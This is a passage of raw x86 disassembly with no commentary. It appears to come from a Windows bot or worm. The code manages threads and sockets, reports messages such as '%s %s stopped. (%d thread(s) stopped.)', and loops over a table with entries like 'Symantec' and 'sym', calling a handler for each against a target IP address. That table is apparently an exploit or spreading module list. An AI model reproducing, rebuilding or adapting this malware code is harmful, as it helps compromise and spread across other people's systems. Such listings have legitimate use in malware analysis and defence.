		lea	edi, dword_441254[esi]
		mov	byte ptr dword_441048[esi], bl
		mov	byte_441260[esi], bl
		push	dword ptr [edi]
		call	dword_4CE3A0	; closesocket
		lea	esi, dword_441258[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B411:				; CODE XREF: sub_40B38F+Dj
					; sub_40B38F+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B38F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B417	proc near		; CODE XREF: sub_40111A+18p
					; sub_40121E:loc_4017ABp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_441048


loc_40B423:				; CODE XREF: sub_40B417+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B434
		push	edi
		call	sub_40B38F
		test	eax, eax
		pop	ecx
		jz	short loc_40B434
		inc	ebx


loc_40B434:				; CODE XREF: sub_40B417+Fj
					; sub_40B417+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CE048
		jl	short loc_40B423
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B449	proc near		; CODE XREF: sub_401AA1+4196p
					; sub_401AA1+42E2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_44124C


loc_40B45D:				; CODE XREF: sub_40B449+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B47F
		test	edi, edi
		jle	short loc_40B471
		cmp	[esi], edi
		jz	short loc_40B471
		cmp	ebx, edi
		jnz	short loc_40B47F


loc_40B471:				; CODE XREF: sub_40B449+1Ej
					; sub_40B449+22j
		push	ebx
		call	sub_40B38F
		test	eax, eax
		pop	ecx
		jz	short loc_40B47F
		inc	[ebp+var_4]


loc_40B47F:				; CODE XREF: sub_40B449+1Aj
					; sub_40B449+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CE24C
		jl	short loc_40B45D
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B449	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B496	proc near		; CODE XREF: sub_40121E+3FAp
					; sub_401AA1+929p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_441248


loc_40B49D:				; CODE XREF: sub_40B496+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B4A6
		inc	eax


loc_40B4A6:				; CODE XREF: sub_40B496+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CE248
		jl	short loc_40B49D
		retn
sub_40B496	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4B5	proc near		; CODE XREF: sub_401AA1+2390p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_441248
		push	esi


loc_40B4BF:				; CODE XREF: sub_40B4B5+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B4D8
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CE248
		jl	short loc_40B4BF
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B4D8:				; CODE XREF: sub_40B4B5+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B4B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4DC	proc near		; CODE XREF: sub_401AA1+11F7p
					; sub_401AA1+1215p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B4F5
		push	[ebp+arg_1C]
		call	sub_41BDE9
		pop	ecx


loc_40B4F5:				; CODE XREF: sub_40B4DC+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B449
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B521
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		jmp	short loc_40B53B
; ---------------------------------------------------------------------------


loc_40B521:				; CODE XREF: sub_40B4DC+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41BEF6
		add	esp, 10h


loc_40B53B:				; CODE XREF: sub_40B4DC+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B55B
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_40B55B:				; CODE XREF: sub_40B4DC+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415F45
		pop	ecx
		leave
		retn
sub_40B4DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B56A	proc near		; CODE XREF: sub_4017BF+154p
					; sub_40B2BF+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_44125C[eax], ecx
		mov	dword_441248[eax], ecx
		mov	dword_44124C[eax], ecx
		mov	dword_441250[eax], ecx
		mov	dword_441254[eax], ecx
		mov	dword_441258[eax], ecx
		mov	byte ptr dword_441048[eax], cl
		mov	byte_441260[eax], cl
		retn
sub_40B56A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5A7	proc near		; CODE XREF: sub_401AA1+7B83p
					; sub_40B6CF+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40B609
; ---------------------------------------------------------------------------


loc_40B5B3:				; CODE XREF: sub_40B5A7+66j
		cmp	eax, 1
		jnz	short loc_40B61A
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B61A
		cmp	cl, 2Ah
		jz	short loc_40B5F2
		cmp	cl, 3Fh
		jz	short loc_40B5D7
		cmp	cl, 5Bh
		jz	short loc_40B5DC
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B5D7:				; CODE XREF: sub_40B5A7+22j
		inc	[ebp+arg_4]
		jmp	short loc_40B605
; ---------------------------------------------------------------------------


loc_40B5DC:				; CODE XREF: sub_40B5A7+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B63B
		mov	esi, [ebp+arg_0]
		jmp	short loc_40B603
; ---------------------------------------------------------------------------


loc_40B5F2:				; CODE XREF: sub_40B5A7+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B6CF
		mov	esi, [ebp+arg_0]
		dec	esi


loc_40B603:				; CODE XREF: sub_40B5A7+49j
		pop	ecx
		pop	ecx


loc_40B605:				; CODE XREF: sub_40B5A7+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B609:				; CODE XREF: sub_40B5A7+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40B5B3
		jmp	short loc_40B61A
; ---------------------------------------------------------------------------


loc_40B611:				; CODE XREF: sub_40B5A7+76j
		cmp	eax, 1
		jnz	short loc_40B636
		inc	esi
		mov	[ebp+arg_0], esi


loc_40B61A:				; CODE XREF: sub_40B5A7+Fj
					; sub_40B5A7+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40B611
		cmp	eax, 1
		jnz	short loc_40B636
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B636
		cmp	byte ptr [esi],	0
		jnz	short loc_40B636
		xor	eax, eax
		inc	eax
		jmp	short loc_40B638
; ---------------------------------------------------------------------------


loc_40B636:				; CODE XREF: sub_40B5A7+6Dj
					; sub_40B5A7+7Bj ...
		xor	eax, eax


loc_40B638:				; CODE XREF: sub_40B5A7+8Dj
		pop	esi
		pop	ebp
		retn
sub_40B5A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B63B	proc near		; CODE XREF: sub_40B5A7+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B65C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B65C:				; CODE XREF: sub_40B63B+19j
		push	ebx
		push	esi


loc_40B65E:				; CODE XREF: sub_40B63B+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B66C
		cmp	[ebp+var_4], eax
		jnz	short loc_40B6B4


loc_40B66C:				; CODE XREF: sub_40B63B+2Aj
		test	edi, edi
		jnz	short loc_40B6A9
		cmp	bl, 2Dh
		jnz	short loc_40B69D
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40B69D
		cmp	al, 5Dh
		jz	short loc_40B69D
		cmp	[ebp+var_4], edi
		jnz	short loc_40B69D
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B6A9
		cmp	bl, al
		jg	short loc_40B6A9
		mov	[edx], esi
		jmp	short loc_40B6A6
; ---------------------------------------------------------------------------


loc_40B69D:				; CODE XREF: sub_40B63B+38j
					; sub_40B63B+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B6A9


loc_40B6A6:				; CODE XREF: sub_40B63B+60j
		xor	edi, edi
		inc	edi


loc_40B6A9:				; CODE XREF: sub_40B63B+33j
					; sub_40B63B+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40B65E
; ---------------------------------------------------------------------------


loc_40B6B4:				; CODE XREF: sub_40B63B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B6C1
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B6C1:				; CODE XREF: sub_40B63B+7Ej
		cmp	edi, eax
		jnz	short loc_40B6CA
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B6CA:				; CODE XREF: sub_40B63B+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B63B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6CF	proc near		; CODE XREF: sub_40B5A7+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_40B6FF
; ---------------------------------------------------------------------------


loc_40B6E9:				; CODE XREF: sub_40B6CF+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_40B6FA
		cmp	dl, 2Ah
		jnz	short loc_40B70C
		cmp	dl, 3Fh
		jnz	short loc_40B6FD


loc_40B6FA:				; CODE XREF: sub_40B6CF+1Fj
		inc	ecx
		mov	[edi], ecx


loc_40B6FD:				; CODE XREF: sub_40B6CF+29j
		inc	dword ptr [esi]


loc_40B6FF:				; CODE XREF: sub_40B6CF+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B6E9
		jmp	short loc_40B70C
; ---------------------------------------------------------------------------


loc_40B709:				; CODE XREF: sub_40B6CF+40j
		inc	eax
		mov	[esi], eax


loc_40B70C:				; CODE XREF: sub_40B6CF+24j
					; sub_40B6CF+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_40B709
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40B72E
		cmp	[eax], bl
		jz	short loc_40B721
		xor	eax, eax
		jmp	short loc_40B78B
; ---------------------------------------------------------------------------


loc_40B721:				; CODE XREF: sub_40B6CF+4Cj
		cmp	dl, bl
		jnz	short loc_40B72E
		cmp	[eax], bl
		jnz	short loc_40B72E
		xor	eax, eax
		inc	eax
		jmp	short loc_40B78B
; ---------------------------------------------------------------------------


loc_40B72E:				; CODE XREF: sub_40B6CF+48j
					; sub_40B6CF+54j ...
		push	ecx
		push	eax
		call	sub_40B5A7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B775


loc_40B73B:				; CODE XREF: sub_40B6CF+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_40B74D
; ---------------------------------------------------------------------------


loc_40B741:				; CODE XREF: sub_40B6CF+86j
		cmp	cl, 5Bh
		jz	short loc_40B757
		cmp	dl, bl
		jz	short loc_40B757
		inc	eax
		mov	[edi], eax


loc_40B74D:				; CODE XREF: sub_40B6CF+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_40B741


loc_40B757:				; CODE XREF: sub_40B6CF+75j
					; sub_40B6CF+79j
		cmp	[eax], bl
		jz	short loc_40B76C
		push	eax
		push	dword ptr [esi]
		call	sub_40B5A7
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B771
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40B6CF+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B771:				; CODE XREF: sub_40B6CF+9Bj
		cmp	eax, ebx
		jnz	short loc_40B73B


loc_40B775:				; CODE XREF: sub_40B6CF+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B788
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B788
		mov	[ebp+var_4], 1


loc_40B788:				; CODE XREF: sub_40B6CF+AAj
					; sub_40B6CF+B0j
		mov	eax, [ebp+var_4]


loc_40B78B:				; CODE XREF: sub_40B6CF+50j
					; sub_40B6CF+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B6CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B790	proc near		; CODE XREF: sub_401AA1+2AA8p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_434418
		push	eax
		xor	ebx, ebx
		call	sub_41BEF6
		cmp	dword_434058, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B802
		push	esi
		mov	esi, offset dword_434060


loc_40B7C3:				; CODE XREF: sub_40B790+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B7F8
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_434404
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C850
		add	esp, 1Ch


loc_40B7F8:				; CODE XREF: sub_40B790+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B7C3
		pop	esi


loc_40B802:				; CODE XREF: sub_40B790+2Bj
		push	dword_4CE04C
		call	sub_41AF01
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset dword_4343E0
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C850
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415F45
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B85E	proc near		; CODE XREF: sub_401AA1+2A92p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D0E04
		mov	ecx, dword_4D0E00
		push	esi
		push	dword_4CE04C
		lea	esi, [ecx+eax]
		call	sub_41AF01
		push	eax
		push	esi
		push	dword_4D0E04
		lea	eax, [ebp+var_200]
		push	dword_4D0E00
		push	offset dword_434458
		push	eax
		call	sub_41BEF6
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415F45
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B85E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8C9	proc near		; CODE XREF: sub_401AA1+2A7Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CE04C
		call	sub_41AF01
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4D1038
		push	offset dword_4344C0
		push	eax
		call	sub_41BEF6
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415F45
		add	esp, 2Ch
		leave
		retn
sub_40B8C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B91D	proc near		; CODE XREF: sub_401AA1+2A66p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C190
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_434534
		push	eax
		call	sub_41BEF6
		cmp	dword_434058, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B989
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B952:				; CODE XREF: sub_40B91D+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_434524
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C850
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B952
		pop	esi


loc_40B989:				; CODE XREF: sub_40B91D+2Dj
		push	dword_4CE04C
		call	sub_41AF01
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset dword_434508
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C850
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415F45
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40B91D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9E3	proc near		; DATA XREF: sub_401AA1+30AEo

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4CE348	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_434058, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40BB42
		mov	esi, offset dword_434058
		mov	ebx, offset aSym ; "sym"


loc_40BA37:				; CODE XREF: sub_40B9E3+159j
		push	[ebp+var_1C]
		push	dword ptr [esi]
		push	[ebp+var_8]
		call	sub_40C1D4
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BB31
		push	dword ptr [esi]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebx+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset dword_4345C8
		push	eax
		call	sub_41BEF6
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409743
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415F45
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_41BEF6
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_40BACC
		lea	eax, [ebp+var_124]


loc_40BACC:				; CODE XREF: sub_40B9E3+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_41BEF6
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [esi]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+2Ch]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40BB31:				; CODE XREF: sub_40B9E3+67j
		inc	[ebp+arg_0]
		add	ebx, 40h
		lea	esi, [ebx+28h]
		cmp	[esi], edi
		jnz	loc_40BA37


loc_40BB42:				; CODE XREF: sub_40B9E3+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset dword_434570
		push	eax
		call	sub_41BEF6
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409743
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415F45
		push	[ebp+var_18]
		call	sub_40B56A
		add	esp, 2Ch
		push	edi
		call	dword_4280D4	; ExitThread
sub_40B9E3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB95	proc near		; CODE XREF: sub_401AA1+23ABp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jle	short loc_40BBD1
		mov	eax, [ebp+arg_C]
		push	dword_4CE448[eax*8]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_434654
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	short loc_40BBE4
; ---------------------------------------------------------------------------


loc_40BBD1:				; CODE XREF: sub_40BB95+13j
		lea	eax, [ebp+var_200]
		push	offset dword_434618
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_40BBE4:				; CODE XREF: sub_40BB95+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415F45
		add	esp, 18h
		leave
		retn
sub_40BB95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC0C	proc near		; CODE XREF: sub_40C485+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C0EC
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_434064[eax], ebx
		jz	loc_40C0EC
		push	5
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jnz	loc_40BE86
		mov	eax, dword_42A964
		push	edi
		mov	esi, offset dword_4D0504
		push	104h
		push	esi
		push	ebx
		mov	dword_4D0714, eax
		mov	dword_4D0710, ebx
		call	dword_428078	; GetModuleFileNameA
		mov	edi, offset byte_42AA54
		push	103h
		push	edi
		push	offset dword_4D0608
		call	sub_41BC60
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D0500, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D0798, eax
		jnz	short loc_40BCBC
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D0718
		call	sub_41BC60
		mov	dword_4D079C, 1
		jmp	short loc_40BCD3
; ---------------------------------------------------------------------------


loc_40BCBC:				; CODE XREF: sub_40BC0C+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D0718
		call	sub_41BC60
		mov	dword_4D079C, ebx


loc_40BCD3:				; CODE XREF: sub_40BC0C+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D0714
		push	offset dword_434898
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B254
		add	esp, 1Ch
		mov	dword_4D070C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D0500
		push	offset sub_412407
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, dword_4D070C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	loc_40BDD7
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_434840
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_40BD51:				; CODE XREF: sub_40BC0C+1D3j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415F45
		mov	eax, dword_4CE048
		mov	esi, offset dword_4D07AC
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4D09BC, eax
		mov	dword_4D09B8, ebx
		call	dword_428078	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4D08B0
		call	sub_41BC60
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D07A8, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4D0A40, eax
		push	7Fh
		jnz	short loc_40BDE4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D09C0
		call	sub_41BC60
		mov	dword_4D0A44, 1
		jmp	short loc_40BDFB
; ---------------------------------------------------------------------------


loc_40BDCF:				; CODE XREF: sub_40BC0C+1D1j
		push	32h
		call	dword_428080	; Sleep


loc_40BDD7:				; CODE XREF: sub_40BC0C+124j
		cmp	dword_4D07A0, ebx
		jz	short loc_40BDCF
		jmp	loc_40BD51
; ---------------------------------------------------------------------------


